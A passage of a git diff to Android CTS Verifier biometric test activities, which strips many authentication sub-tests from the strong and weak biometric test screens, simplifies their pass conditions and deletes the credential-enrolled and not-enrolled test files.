-        mAuthenticateUIButton = findViewById(R.id.authenticate_ui_button);
-        mAuthenticateCredential1Button = findViewById(
-                R.id.authenticate_credential_setDeviceCredentialAllowed_biometric_button);
-        mAuthenticateCredential2Button = findViewById(
-                R.id.authenticate_credential_setDeviceCredentialAllowed_credential_button);
-        mAuthenticateCredential3Button = findViewById(
-                R.id.authenticate_credential_setAllowedAuthenticators_credential_button);
-        mCheckInvalidInputsButton = findViewById(R.id.authenticate_invalid_inputs);
-        mRejectThenAuthenticateButton = findViewById(R.id.authenticate_reject_first);
-        mNegativeButtonButton = findViewById(R.id.authenticate_negative_button_button);
-        mCancellationButton = findViewById(R.id.authenticate_cancellation_button);
         mKeyInvalidatedButton = findViewById(R.id.authenticate_key_invalidated_button);
 
         mHasStrongBox = getPackageManager()
@@ -152,8 +117,7 @@
         }
 
         mCheckAndEnrollButton.setOnClickListener((view) -> {
-            checkAndEnroll(mCheckAndEnrollButton, Authenticators.BIOMETRIC_STRONG,
-                    new int[] {Authenticators.BIOMETRIC_STRONG});
+            checkAndEnroll(mCheckAndEnrollButton, Authenticators.BIOMETRIC_STRONG);
         });
 
         mAuthenticateWithoutStrongBoxButton.setOnClickListener((view) -> {
@@ -166,74 +130,6 @@
                     true /* useStrongBox */);
         });
 
-        mAuthenticateUIButton.setOnClickListener((view) -> {
-            final Utils.VerifyRandomContents contents = new Utils.VerifyRandomContents(this) {
-                @Override
-                void onVerificationSucceeded() {
-                    mAuthenticateUIPassed = true;
-                    mAuthenticateUIButton.setEnabled(false);
-                    updatePassButton();
-                }
-            };
-            testBiometricUI(contents, Authenticators.BIOMETRIC_STRONG);
-        });
-
-        mAuthenticateCredential1Button.setOnClickListener((view) -> {
-            testSetDeviceCredentialAllowed_biometricAuth(() -> {
-                mAuthenticateCredential1Passed = true;
-                mAuthenticateCredential1Button.setEnabled(false);
-                updatePassButton();
-            });
-        });
-
-        mAuthenticateCredential2Button.setOnClickListener((view) -> {
-            testSetDeviceCredentialAllowed_credentialAuth(() -> {
-                mAuthenticateCredential2Passed = true;
-                mAuthenticateCredential2Button.setEnabled(false);
-                updatePassButton();
-            });
-        });
-
-        mAuthenticateCredential3Button.setOnClickListener((view) -> {
-            testSetAllowedAuthenticators_credentialAndBiometricEnrolled_credentialAuth(() -> {
-                mAuthenticateCredential3Passed = true;
-                mAuthenticateCredential3Button.setEnabled(false);
-                updatePassButton();
-            });
-        });
-
-        mCheckInvalidInputsButton.setOnClickListener((view) -> {
-            testInvalidInputs(() -> {
-                mCheckInvalidInputsPassed = true;
-                mCheckInvalidInputsButton.setEnabled(false);
-                updatePassButton();
-            });
-        });
-
-        mRejectThenAuthenticateButton.setOnClickListener((view) -> {
-            testBiometricRejectDoesNotEndAuthentication(() -> {
-                mRejectThenAuthenticatePassed = true;
-                mRejectThenAuthenticateButton.setEnabled(false);
-                updatePassButton();
-            });
-        });
-
-        mNegativeButtonButton.setOnClickListener((view) -> {
-            testNegativeButtonCallback(Authenticators.BIOMETRIC_STRONG, () -> {
-                mNegativeButtonPassed = true;
-                mNegativeButtonButton.setEnabled(false);
-                updatePassButton();
-            });
-        });
-
-        mCancellationButton.setOnClickListener((view) -> {
-            testCancellationSignal(Authenticators.BIOMETRIC_STRONG, () -> {
-                mCancellationButtonPassed = true;
-                mCancellationButton.setEnabled(false);
-                updatePassButton();
-            });
-        });
-
         mKeyInvalidatedButton.setOnClickListener((view) -> {
             Utils.showInstructionDialog(this,
                     R.string.biometric_test_strong_authenticate_invalidated_instruction_title,
@@ -275,11 +171,7 @@
         // Key invalidation test is currently the last test. Thus, if every other test is currently
         // completed, let's allow onPause (allow tester to go into settings multiple times if
         // needed).
-        if (mAuthenticateWithoutStrongBoxPassed && mAuthenticateWithStrongBoxPassed
-                && mAuthenticateUIPassed && mAuthenticateCredential1Passed
-                && mAuthenticateCredential2Passed && mAuthenticateCredential3Passed
-                && mCheckInvalidInputsPassed && mRejectThenAuthenticatePassed
-                && mNegativeButtonPassed && mCancellationButtonPassed) {
+        if (mAuthenticateWithoutStrongBoxPassed && mAuthenticateWithStrongBoxPassed) {
             return true;
         }
 
@@ -357,7 +249,7 @@
                                 updatePassButton();
                             } catch (Exception e) {
                                 showToastAndLog("Failed to encrypt after biometric was"
-                                        + "authenticated: " + e);
+                                        + "authenticated: " + e, e);
                             }
                         }
                     });
@@ -367,11 +259,7 @@
     }
 
     private void updatePassButton() {
-        if (mAuthenticateWithoutStrongBoxPassed && mAuthenticateWithStrongBoxPassed
-                && mAuthenticateUIPassed && mAuthenticateCredential1Passed
-                && mAuthenticateCredential2Passed && mAuthenticateCredential3Passed
-                && mCheckInvalidInputsPassed && mRejectThenAuthenticatePassed
-                && mNegativeButtonPassed && mCancellationButtonPassed) {
+        if (mAuthenticateWithoutStrongBoxPassed && mAuthenticateWithStrongBoxPassed) {
 
             if (!mKeyInvalidatedStrongboxPassed || !mKeyInvalidatedNoStrongboxPassed) {
                 mKeyInvalidatedButton.setEnabled(true);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricWeakTests.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricWeakTests.java
index 6c94ef0..599fa1d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricWeakTests.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricWeakTests.java
@@ -18,23 +18,13 @@
 
 import static android.hardware.biometrics.BiometricManager.Authenticators;
 
-import android.content.pm.PackageManager;
 import android.hardware.biometrics.BiometricManager;
-import android.hardware.biometrics.BiometricPrompt;
-import android.hardware.biometrics.BiometricPrompt.AuthenticationCallback;
-import android.hardware.biometrics.BiometricPrompt.AuthenticationResult;
-import android.hardware.biometrics.BiometricPrompt.CryptoObject;
 import android.os.Bundle;
-import android.os.CancellationSignal;
 import android.provider.Settings;
-import android.security.keystore.KeyProperties;
-import android.util.Log;
 import android.widget.Button;
 
 import com.android.cts.verifier.R;
 
-import javax.crypto.Cipher;
-
 /**
  * On devices without a weak biometric, ensure that the
  * {@link BiometricManager#canAuthenticate(int)} returns
@@ -53,25 +43,8 @@
     private static final String TAG = "BiometricWeakTests";
 
     private Button mEnrollButton;
-    private Button mAuthenticateButton;
-    private Button mAuthenticateTimeBasedKeysButton;
-    private Button mAuthenticateCredential1Button; // setDeviceCredentialAllowed(true), biometric
-    private Button mAuthenticateCredential2Button; // setDeviceCredentialAllowed(true), credential
-    private Button mAuthenticateCredential3Button; // setAllowedAuthenticators(CREDENTIAL|BIOMETRIC)
-    private Button mCheckInvalidInputsButton;
-    private Button mRejectThenAuthenticateButton;
-    private Button mNegativeButtonButton;
-    private Button mCancellationButton;
 
-    private boolean mAuthenticatePassed;
-    private boolean mAuthenticateTimeBasedKeysPassed;
-    private boolean mAuthenticateCredential1Passed;
-    private boolean mAuthenticateCredential2Passed;
-    private boolean mAuthenticateCredential3Passed;
-    private boolean mCheckInvalidInputsPassed;
-    private boolean mRejectThenAuthenticatePassed;
-    private boolean mNegativeButtonPassed;
-    private boolean mCancellationPassed;
+    private boolean mEnrollFinished;
 
     @Override
     protected String getTag() {
@@ -86,247 +59,9 @@
         getPassButton().setEnabled(false);
 
         mEnrollButton = findViewById(R.id.biometric_test_weak_enroll_button);
-        mAuthenticateButton = findViewById(R.id.biometric_test_weak_authenticate_button);
-        mAuthenticateTimeBasedKeysButton = findViewById(
-                R.id.biometric_test_weak_authenticate_time_based_keys_button);
-        mAuthenticateCredential1Button = findViewById(
-                R.id.authenticate_credential_setDeviceCredentialAllowed_biometric_button);
-        mAuthenticateCredential2Button = findViewById(
-                R.id.authenticate_credential_setDeviceCredentialAllowed_credential_button);
-        mAuthenticateCredential3Button = findViewById(
-                R.id.authenticate_credential_setAllowedAuthenticators_credential_button);
-        mCheckInvalidInputsButton = findViewById(R.id.authenticate_invalid_inputs);
-        mRejectThenAuthenticateButton = findViewById(R.id.authenticate_reject_first);
-        mNegativeButtonButton = findViewById(R.id.authenticate_negative_button_button);
-        mCancellationButton = findViewById(R.id.authenticate_cancellation_button);
 
         mEnrollButton.setOnClickListener((view) -> {
-            checkAndEnroll(mEnrollButton, Authenticators.BIOMETRIC_WEAK,
-                    new int[]{Authenticators.BIOMETRIC_WEAK, Authenticators.BIOMETRIC_STRONG});
-        });
-
-        // Note: This button is running multiple sub-tests. This is to prevent misleading results
-        // that could be caused by switching biometric sensors between tests.
-        // TODO: The test does not allow for onPause to occur. This can be split up now.
-        mAuthenticateButton.setOnClickListener((view) -> {
-            // Note: Since enrollment request with Authenticators.BIOMETRIC_WEAK requests enrollment
-            // for Weak "or stronger", it's possible that the user was asked to enroll a Strong
-            // biometric. Thus, generation of keys may or may not pass - both are valid outcomes.
-
-            // Check that requesting authentication with WEAK + CryptoObject throws
-            // IllegalArgumentException. Note that we're using a CryptoObject without an actual
-            // MAC/Signature/Cipher due to the above.
-            final BiometricPrompt.Builder builder = new BiometricPrompt.Builder(this);
-            builder.setAllowedAuthenticators(Authenticators.BIOMETRIC_WEAK);
-            builder.setTitle("This UI should never get shown");
-            builder.setNegativeButton("Cancel", mExecutor, (dialog, which) -> {
-                // Ignore
-            });
-            final CryptoObject dummyCrypto = new CryptoObject((Cipher) null);
-            final BiometricPrompt prompt = builder.build();
-
-            boolean exceptionCaught = false;
-            try {
-                prompt.authenticate(dummyCrypto, new CancellationSignal(), mExecutor,
-                        new AuthenticationCallback() {
-                            // Ignore
-                        });
-            } catch (IllegalArgumentException e) {
-                // Expected
-                exceptionCaught = true;
-                Log.d(TAG, "IllegalArgumentException: " + e);
-            }
-
-            if (!exceptionCaught) {
-                showToastAndLog("Authenticating with BIOMETRIC_WEAK and Crypto is not a valid"
-                        + " combination");
-                return;
-            }
-
-            // Check that requesting authentication with WEAK works, and that the UI presents the
-            // fields set through its public APIs
-            final Utils.VerifyRandomContents contents = new Utils.VerifyRandomContents(this) {
-                @Override
-                void onVerificationSucceeded() {
-                    mAuthenticatePassed = true;
-                    mAuthenticateButton.setEnabled(false);
-                    updatePassButton();
-                }
-            };
-            testBiometricUI(contents, Authenticators.BIOMETRIC_WEAK);
-        });
-
-        // The above test already enforces that authenticate(CryptoObject) throws an exception if
-        // authentication is attempted with BIOMETRIC_WEAK. The other half of keys (time-based
-        // keys) do not depend on CryptoObject, and are automatically usable upon completion of
-        // any BIOMETRIC_STRONG or DEVICE_CREDENTIAL success. This test ensures that the following:
-        // 1) setUserAuthenticationValidityDurationSeconds(>0) is not unlocked by BIOMETRIC_WEAK
-        //    This API creates a key that's unlockable by BIOMETRIC_STRONG or DEVICE_CREDENTIAL
-        // 2) setUserAuthenticationParameters(duration>0, AUTH_BIOMETRIC_STRONG|AUTH_CREDENTIAL)
-        //    This is the same as 1), except with a new API introduced in R
-        // 3) setUserAuthenticationParameters(duration>0, AUTH_BIOMETRIC_STRONG)
-        //    This key should fail to generate. Note that there's a possibility of a biometric
-        //    sensor strength being downgraded via server-side configuration (see
-        //    BiometricStrengthController and DeviceConfig#NAMESPACE_BIOMETRICS). In this case,
-        //    the pre-generated key should not be unlocked. However, this can only be tested if a
-        //    CtsVerifier with @SystemAPI capabilities is introduced. TODO(b/150801896)
-        mAuthenticateTimeBasedKeysButton.setOnClickListener((view) -> {
-            final Runnable mTestPassedRunnable = () -> {
-                mAuthenticateTimeBasedKeysButton.setEnabled(false);
-                mAuthenticateTimeBasedKeysPassed = true;
-                updatePassButton();
-            };
-
-            // Let's only run this test on "only weak sensor" devices. We can figure out clever
-            // ways to test this on "weak + strong" devices later on if necessary.
-            final boolean hasAtLeastWeakBiometrics = mBiometricManager.canAuthenticate(
-                    Authenticators.BIOMETRIC_WEAK) == BiometricManager.BIOMETRIC_SUCCESS;
-            final boolean hasStrongBiometrics = mBiometricManager.canAuthenticate(
-                    Authenticators.BIOMETRIC_STRONG) == BiometricManager.BIOMETRIC_SUCCESS;
-            final boolean hasOnlyWeakBiometrics = hasAtLeastWeakBiometrics && !hasStrongBiometrics;
-            if (!hasOnlyWeakBiometrics) {
-                showToastAndLog("This device has sensors other than BIOMETRIC_WEAK,"
-                        + " skipping this test");
-                mTestPassedRunnable.run();
-                return;
-            }
-
-            final boolean hasStrongBox = getPackageManager().hasSystemFeature(
-                    PackageManager.FEATURE_STRONGBOX_KEYSTORE);
-
-            int authType = KeyProperties.AUTH_BIOMETRIC_STRONG
-                    | KeyProperties.AUTH_DEVICE_CREDENTIAL;
-            try {
-                // Create time-based keys that can be unlocked by biometric or credential.
-                // These should successfully be generated, since credential is enrolled.
-                Utils.createTimeBoundSecretKey_deprecated("key1", false /* useStrongBox */);
-                Utils.createTimeBoundSecretKey("2", authType, false /* useStrongBox */);
-                if (hasStrongBox) {
-                    Utils.createTimeBoundSecretKey_deprecated("key1a", true /* useStrongBox */);
-                    Utils.createTimeBoundSecretKey("2a", authType, true /* useStrongBox */);
-                }
-            } catch (Exception e) {
-                showToastAndLog("Failed to generate time-based BIOMETRIC|CREDENTIAL keys."
-                        + " Exception: " + e);
-                return;
-            }
-
-            // Create time-based keys that can only be unlocked by biometric. These should not be
-            // generatable.
-            boolean key3Generated = false;
-            boolean key3aGenerated = false;
-            authType = KeyProperties.AUTH_BIOMETRIC_STRONG;
-            try {
-                Utils.createTimeBoundSecretKey("key3", authType, false /* useStrongBox */);
-                key3Generated = true;
-            } catch (Exception ignored) {} // expected
-            try {
-                if (hasStrongBox) {
-                    Utils.createTimeBoundSecretKey("key3a", authType, true /* useStrongBox */);
-                    key3aGenerated = true;
-                }
-            } catch (Exception ignored) {} // expected
-
-            if (key3Generated || key3aGenerated) {
-                showToastAndLog("Should not be able to generate time-based biometric-only keys."
-                        + " key3: " + key3Generated
-                        + " key3a: " + key3aGenerated);
-                return;
-            }
-
-            // Try to unlock the above generated keys. Since these are time-based keys, only
-            // a single authentication (without CryptoObject) is required.
-            final BiometricPrompt.Builder builder = new BiometricPrompt.Builder(this);
-            builder.setAllowedAuthenticators(Authenticators.BIOMETRIC_WEAK);
-            builder.setTitle("Please authenticate");
-            builder.setNegativeButton("Cancel", mExecutor, (dialog, which) -> {
-                // Do nothing.
-            });
-
-            final BiometricPrompt prompt = builder.build();
-            prompt.authenticate(new CancellationSignal(), mExecutor,
-                new AuthenticationCallback() {
-                    @Override
-                    public void onAuthenticationSucceeded(AuthenticationResult result) {
-                        // Attempt to use all the keys. key3 and key3a should not even have
-                        // been generated, so they don't need to be included here.
-                        final String[] keys = {"key1", "key1a", "key2", "key2a"};
-                        boolean allKeysUnusable = true;
-                        for (String key : keys) {
-                            try {
-                                Utils.initCipher(key);
-                                showToastAndLog("Key should not be usable: " + key);
-                                allKeysUnusable = false;
-                                break;
-                            } catch (Exception e) {
-                                Log.w(TAG, "Exception during initCipher (expected): " + e);
-                            }
-                        }
-
-                        if (allKeysUnusable) {
-                            mAuthenticateTimeBasedKeysPassed = true;
-                            mAuthenticateTimeBasedKeysButton.setEnabled(false);
-                            updatePassButton();
-                        }
-                    }
-                });
-
-        });
-
-        mAuthenticateCredential1Button.setOnClickListener((view) -> {
-            testSetDeviceCredentialAllowed_biometricAuth(() -> {
-                mAuthenticateCredential1Passed = true;
-                mAuthenticateCredential1Button.setEnabled(false);
-                updatePassButton();
-            });
-        });
-
-        mAuthenticateCredential2Button.setOnClickListener((view) -> {
-            testSetDeviceCredentialAllowed_credentialAuth(() -> {
-                mAuthenticateCredential2Passed = true;
-                mAuthenticateCredential2Button.setEnabled(false);
-                updatePassButton();
-            });
-        });
-
-        mAuthenticateCredential3Button.setOnClickListener((view) -> {
-            testSetAllowedAuthenticators_credentialAndBiometricEnrolled_credentialAuth(() -> {
-                mAuthenticateCredential3Passed = true;
-                mAuthenticateCredential3Button.setEnabled(false);
-                updatePassButton();
-            });
-        });
-
-        mCheckInvalidInputsButton.setOnClickListener((view) -> {
-            testInvalidInputs(() -> {
-                mCheckInvalidInputsPassed = true;
-                mCheckInvalidInputsButton.setEnabled(false);
-                updatePassButton();
-            });
-        });
-
-        mRejectThenAuthenticateButton.setOnClickListener((view) -> {
-            testBiometricRejectDoesNotEndAuthentication(() -> {
-                mRejectThenAuthenticatePassed = true;
-                mRejectThenAuthenticateButton.setEnabled(false);
-                updatePassButton();
-            });
-        });
-
-        mNegativeButtonButton.setOnClickListener((view) -> {
-            testNegativeButtonCallback(Authenticators.BIOMETRIC_WEAK, () -> {
-                mNegativeButtonPassed = true;
-                mNegativeButtonButton.setEnabled(false);
-                updatePassButton();
-            });
-        });
-
-        mCancellationButton.setOnClickListener((view) -> {
-            testCancellationSignal(Authenticators.BIOMETRIC_WEAK, () -> {
-                mCancellationPassed = true;
-                mCancellationButton.setEnabled(false);
-                updatePassButton();
-            });
+            checkAndEnroll(mEnrollButton, Authenticators.BIOMETRIC_WEAK);
         });
     }
 
@@ -345,11 +80,7 @@
     }
 
     private void updatePassButton() {
-        if (mAuthenticatePassed && mAuthenticateTimeBasedKeysPassed
-                && mAuthenticateCredential1Passed && mAuthenticateCredential2Passed
-                && mAuthenticateCredential3Passed && mCheckInvalidInputsPassed
-                && mRejectThenAuthenticatePassed
-                && mNegativeButtonPassed && mCancellationPassed) {
+        if (mEnrollFinished) {
             showToastAndLog("All tests passed");
             getPassButton().setEnabled(true);
         }
@@ -362,18 +93,10 @@
         if (biometricStatus == BiometricManager.BIOMETRIC_SUCCESS) {
             showToastAndLog("Successfully enrolled, please continue the test");
             mEnrollButton.setEnabled(false);
-            mAuthenticateButton.setEnabled(true);
-            mAuthenticateTimeBasedKeysButton.setEnabled(true);
-            mAuthenticateCredential1Button.setEnabled(true);
-            mAuthenticateCredential2Button.setEnabled(true);
-            mAuthenticateCredential3Button.setEnabled(true);
-            mCheckInvalidInputsButton.setEnabled(true);
-            mRejectThenAuthenticateButton.setEnabled(true);
-            mNegativeButtonButton.setEnabled(true);
-            mCancellationButton.setEnabled(true);
+            mEnrollFinished = true;
+            updatePassButton();
         } else {
             showToastAndLog("Unexpected result after enrollment: " + biometricStatus);
         }
     }
-
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/CredentialCryptoTests.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/CredentialCryptoTests.java
index 50aee3a..17f49f8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/CredentialCryptoTests.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/CredentialCryptoTests.java
@@ -128,7 +128,7 @@
             // Expected
             Log.d(TAG, "UserNotAuthenticated (expected)");
         } catch (Exception e) {
-            showToastAndLog("Unexpected exception: " + e);
+            showToastAndLog("Unexpected exception: " + e, e);
         }
 
         // Authenticate with credential
@@ -160,7 +160,7 @@
                     }
                     updateButton();
                 } catch (Exception e) {
-                    showToastAndLog("Unable to encrypt: " + e);
+                    showToastAndLog("Unable to encrypt: " + e, e);
                 }
             }
         });
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/CredentialEnrolledTests.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/CredentialEnrolledTests.java
deleted file mode 100644
index ee866eb..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/CredentialEnrolledTests.java
+++ /dev/null
@@ -1,231 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.biometrics;
-
-import android.content.Intent;
-import android.hardware.biometrics.BiometricManager;
-import android.hardware.biometrics.BiometricManager.Authenticators;
-import android.hardware.biometrics.BiometricPrompt;
-import android.os.Bundle;
-import android.os.CancellationSignal;
-import android.os.Handler;
-import android.os.Looper;
-import android.provider.Settings;
-import android.widget.Button;
-
-import com.android.cts.verifier.R;
-
-import java.util.concurrent.Executor;
-
-/**
- * This test checks that when a credential is enrolled, and biometrics are not enrolled,
- * BiometricManager and BiometricPrompt receive the correct results.
- */
-public class CredentialEnrolledTests extends AbstractBaseTest {
-    private static final String TAG = "CredentialEnrolledTests";
-
-    private static final int REQUEST_ENROLL = 1;
-
-    private Button mEnrollButton;
-    private Button mBiometricManagerButton;
-    private Button mBPSetAllowedAuthenticatorsButton;
-    private Button mBPSetDeviceCredentialAllowedButton;
-    private Button mCancellationButton;
-
-    private boolean mEnrollPass;
-    private boolean mBiometricManagerPass;
-    private boolean mBiometricPromptSetAllowedAuthenticatorsPass;
-    private boolean mBiometricPromptSetDeviceCredentialAllowedPass;
-    private boolean mCancellationPass;
-
-    private final Handler mHandler = new Handler(Looper.getMainLooper());
-    private final Executor mExecutor = mHandler::post;
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.biometric_test_credential_enrolled_tests);
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-
-        final BiometricManager bm = getSystemService(BiometricManager.class);
-
-        mEnrollButton = findViewById(R.id.enroll_credential_button);
-        mEnrollButton.setOnClickListener((view) -> {
-            final int biometricResult = bm.canAuthenticate(Authenticators.DEVICE_CREDENTIAL);
-            if (biometricResult != BiometricManager.BIOMETRIC_ERROR_NONE_ENROLLED) {
-                showToastAndLog("Please ensure you do not have a PIN/Pattern/Password set");
-                return;
-            }
-
-            requestCredentialEnrollment(REQUEST_ENROLL);
-        });
-
-        // Test BiometricManager#canAuthenticate(DEVICE_CREDENTIAL)
-        mBiometricManagerButton = findViewById(R.id.bm_button);
-        mBiometricManagerButton.setOnClickListener((view) -> {
-
-            final int biometricResult = bm.canAuthenticate(Authenticators.BIOMETRIC_WEAK);
-            switch (biometricResult) {
-                case BiometricManager.BIOMETRIC_ERROR_NO_HARDWARE:
-                case BiometricManager.BIOMETRIC_ERROR_NONE_ENROLLED:
-                    // OK
-                    break;
-                case BiometricManager.BIOMETRIC_SUCCESS:
-                    showToastAndLog("Unexpected result: " + biometricResult +
-                            ". Please make sure the device does not have a biometric enrolled");
-                    return;
-                default:
-                    showToastAndLog("Unexpected result: " + biometricResult);
-                    return;
-            }
-
-            final int credentialResult = bm.canAuthenticate(Authenticators.DEVICE_CREDENTIAL);
-            if (credentialResult == BiometricManager.BIOMETRIC_SUCCESS) {
-                mBiometricManagerButton.setEnabled(false);
-                mBiometricManagerPass = true;
-                updatePassButton();
-            } else {
-                showToastAndLog("Unexpected result: " + credentialResult
-                        + ". Please make sure the device"
-                        + " has a PIN/Pattern/Password set");
-            }
-        });
-
-        // Test setAllowedAuthenticators(DEVICE_CREDENTIAL)
-        mBPSetAllowedAuthenticatorsButton = findViewById(R.id.setAllowedAuthenticators_button);
-        mBPSetAllowedAuthenticatorsButton.setOnClickListener((view) -> {
-            BiometricPrompt.Builder builder = new BiometricPrompt.Builder(this);
-            builder.setTitle("Title");
-            builder.setSubtitle("Subtitle");
-            builder.setDescription("Description");
-            builder.setAllowedAuthenticators(Authenticators.DEVICE_CREDENTIAL);
-            BiometricPrompt bp = builder.build();
-            bp.authenticate(new CancellationSignal(), mExecutor,
-                    new BiometricPrompt.AuthenticationCallback() {
-                        @Override
-                        public void onAuthenticationSucceeded(
-                                BiometricPrompt.AuthenticationResult result) {
-                            final int authenticator = result.getAuthenticationType();
-                            if (authenticator ==
-                                    BiometricPrompt.AUTHENTICATION_RESULT_TYPE_DEVICE_CREDENTIAL) {
-                                mBPSetAllowedAuthenticatorsButton.setEnabled(false);
-                                mBiometricPromptSetAllowedAuthenticatorsPass = true;
-                                updatePassButton();
-                            } else {
-                                showToastAndLog("Unexpected authenticator: " + authenticator);
-                            }
-                        }
-
-                        @Override
-                        public void onAuthenticationError(int errorCode, CharSequence errString) {
-                            showToastAndLog("Unexpected error: " + errorCode + ", " + errString);
-                        }
-                    });
-        });
-
-        // Test setDeviceCredentialAllowed(true)
-        mBPSetDeviceCredentialAllowedButton = findViewById(R.id.setDeviceCredentialAllowed_button);
-        mBPSetDeviceCredentialAllowedButton.setOnClickListener((view) -> {
-            BiometricPrompt.Builder builder = new BiometricPrompt.Builder(this);
-            builder.setTitle("Title");
-            builder.setSubtitle("Subtitle");
-            builder.setDescription("Description");
-            builder.setDeviceCredentialAllowed(true);
-            BiometricPrompt bp = builder.build();
-            bp.authenticate(new CancellationSignal(), mExecutor,
-                    new BiometricPrompt.AuthenticationCallback() {
-                        @Override
-                        public void onAuthenticationSucceeded(
-                                BiometricPrompt.AuthenticationResult result) {
-                            final int authenticator = result.getAuthenticationType();
-                            if (authenticator ==
-                                    BiometricPrompt.AUTHENTICATION_RESULT_TYPE_DEVICE_CREDENTIAL) {
-                                mBPSetDeviceCredentialAllowedButton.setEnabled(false);
-                                mBiometricPromptSetDeviceCredentialAllowedPass = true;
-                                updatePassButton();
-                            } else {
-                                showToastAndLog("Unexpected authenticator: " + authenticator
-                                        + ". Please ensure the device does not have a biometric"
-                                        + " enrolled.");
-                            }
-                        }
-
-                        @Override
-                        public void onAuthenticationError(int errorCode, CharSequence errString) {
-                            showToastAndLog("Unexpected error: " + errorCode + ", " + errString);
-                        }
-                    });
-        });
-
-        mCancellationButton = findViewById(R.id.authenticate_cancellation_button);
-        mCancellationButton.setOnClickListener((view) -> {
-           testCancellationSignal(Authenticators.DEVICE_CREDENTIAL, () -> {
-               mCancellationButton.setEnabled(false);
-               mCancellationPass = true;
-               updatePassButton();
-           });
-        });
-    }
-
-    @Override
-    protected boolean isOnPauseAllowed() {
-        // Allow user to go to Settings, etc to figure out why this test isn't passing.
-        return !mBiometricManagerPass;
-    }
-
-    @Override
-    public void onActivityResult(int requestCode, int resultCode, Intent data) {
-        if (requestCode == REQUEST_ENROLL) {
-            final BiometricManager bm = getSystemService(BiometricManager.class);
-            final int result = bm.canAuthenticate(Authenticators.DEVICE_CREDENTIAL);
-            if (result == BiometricManager.BIOMETRIC_SUCCESS) {
-                mEnrollPass = true;
-                mEnrollButton.setEnabled(false);
-                mBiometricManagerButton.setEnabled(true);
-                mBPSetAllowedAuthenticatorsButton.setEnabled(true);
-                mBPSetDeviceCredentialAllowedButton.setEnabled(true);
-                mCancellationButton.setEnabled(true);
-            } else {
-                showToastAndLog("Unexpected result: " + result + ". Please ensure that tapping"
-                        + " the button sends you to credential enrollment, and that you have"
-                        + " enrolled a credential.");
-            }
-        }
-    }
-
-    private void requestCredentialEnrollment(int requestCode) {
-        final Intent enrollIntent = new Intent(Settings.ACTION_BIOMETRIC_ENROLL);
-        enrollIntent.putExtra(Settings.EXTRA_BIOMETRIC_AUTHENTICATORS_ALLOWED,
-                Authenticators.DEVICE_CREDENTIAL);
-
-        startActivityForResult(enrollIntent, requestCode);
-    }
-
-    private void updatePassButton() {
-        if (mEnrollPass && mBiometricManagerPass && mBiometricPromptSetAllowedAuthenticatorsPass
-                && mBiometricPromptSetDeviceCredentialAllowedPass && mCancellationPass) {
-            showToastAndLog("All tests passed");
-            getPassButton().setEnabled(true);
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/CredentialNotEnrolledTests.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/CredentialNotEnrolledTests.java
deleted file mode 100644
index 05f3d27..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/CredentialNotEnrolledTests.java
+++ /dev/null
@@ -1,134 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.biometrics;
-
-import android.hardware.biometrics.BiometricManager;
-import android.hardware.biometrics.BiometricManager.Authenticators;
-import android.hardware.biometrics.BiometricPrompt;
-import android.os.Bundle;
-import android.os.CancellationSignal;
-import android.os.Handler;
-import android.os.Looper;
-import android.util.Log;
-import android.widget.Button;
-import android.widget.Toast;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import java.util.concurrent.Executor;
-
-/**
- * This test checks that when a credential is not enrolled, BiometricManager and BiometricPrompt
- * receive the correct results.
- */
-public class CredentialNotEnrolledTests extends PassFailButtons.Activity {
-    private static final String TAG = "CredentialNotEnrolledTests";
-
-    boolean mBiometricManagerPass;
-    boolean mBiometricPromptSetAllowedAuthenticatorsPass;
-    boolean mBiometricPromptSetDeviceCredentialAllowedPass;
-
-    private final Handler mHandler = new Handler(Looper.getMainLooper());
-    private final Executor mExecutor = mHandler::post;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.biometric_test_credential_not_enrolled_tests);
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-
-        // Test BiometricManager#canAuthenticate(DEVICE_CREDENTIAL)
-        final Button bmButton = findViewById(R.id.bm_button);
-        bmButton.setOnClickListener((view) -> {
-            final BiometricManager bm = getSystemService(BiometricManager.class);
-            final int result = bm.canAuthenticate(Authenticators.DEVICE_CREDENTIAL);
-            if (result == BiometricManager.BIOMETRIC_ERROR_NONE_ENROLLED) {
-                bmButton.setEnabled(false);
-                mBiometricManagerPass = true;
